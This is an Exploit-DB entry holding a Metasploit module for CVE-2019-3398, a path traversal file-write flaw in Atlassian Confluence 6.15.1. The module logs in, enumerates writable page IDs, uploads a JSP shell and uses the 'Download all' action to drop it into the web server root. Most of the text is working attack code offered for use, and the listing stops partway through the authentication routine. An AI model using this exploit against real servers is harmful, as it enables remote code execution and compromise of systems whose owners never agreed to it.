Exploit-DB #47635
Description: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
Type: webapps
Platform: jsp
Date: 2019-11-12
Author: max7253

Exploit:
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
	super(update_info(info,
	'Name'			=> "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",
	'Description'		=> %q{
	To use this exploit you should specify the following variables:
	USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
	ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
	Typical ROOTFOLDER locations are:
	Windows: Program Files/Atlassian/Confluence/confluence/pages/
	Linux: opt/atlassian/confluence/confluence/pages/
	Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
	PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
	For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
	If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.
	If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.
	The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.
	Tested on Atlassian v6.15.1. on Linux and Windows.
	Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
	},
	'License'			=> MSF_LICENSE,
	'Author'			=>
	[
		'Maxim Guslyaev'      # Metasploit module
	],
	'References'		=>
	[
		[ 'CVE', '2019-3398' ],
		[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],
		[ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],
		[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']
	],
	'Privileged'		=> false,
	'Platform'		=> %w{ linux win },
	'Targets'			=>
	[
		[ 'Windows', { 'Platform' => 'win',   'Arch' => ARCH_JAVA  }],
		[ 'Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_JAVA  }]
	],
	'DefaultOptions'	=>
	{
		'RPORT' => 8090,
		'SSL' => false
	},
	'DisclosureDate' => 'Nov 9 2019',
	'DefaultTarget'  => 0
	))

	register_options(
	[
		OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),        
		OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),
		OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),
		#OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),
		OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),
		OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
		OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),
		OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),
		OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),
		OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),
		
	], self.class)
end

def do_authenticate
	print_status("Sending POST request to the web application (authentication)...")
	res = send_request_cgi({
		'uri'              => normalize_uri(target_uri.path.to_s, '/dologin.action'),
		'method'           => 'POST',
		'vars_post'        => {
		'os_username'    => datastore['USERNAME'],
		'os_password'    => datastore['PASSWORD'],
		'os_destination' => '',
		'login'          => 'Log+In'
					}
			})
	if res.nil?
		print_status("Unable to access the web application!")
		return 0
	end
	@sessid = get_sid(res)
	if @sessid.nil?
		print_status("Unable to retrieve session ID!")
		return 0
	end
	print_status("Getting Session ID from the web application... #{@sessid}")
	
	if res && res.redirect?
		location = res.redirection
		if location.nil?
			print_status("Unable to access the web application when redirected!")
			return 0
		end
		res = send_request_cgi!({
		'uri'              => normalize_uri(target_uri.path.to_s, location.to_s),
		'method'           => 'GET',
		'headers'       => {
		'Cookie'           => @sessid
					}
			}, redirect_depth = 5)
	end

	if res && res.code == 200
		if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ |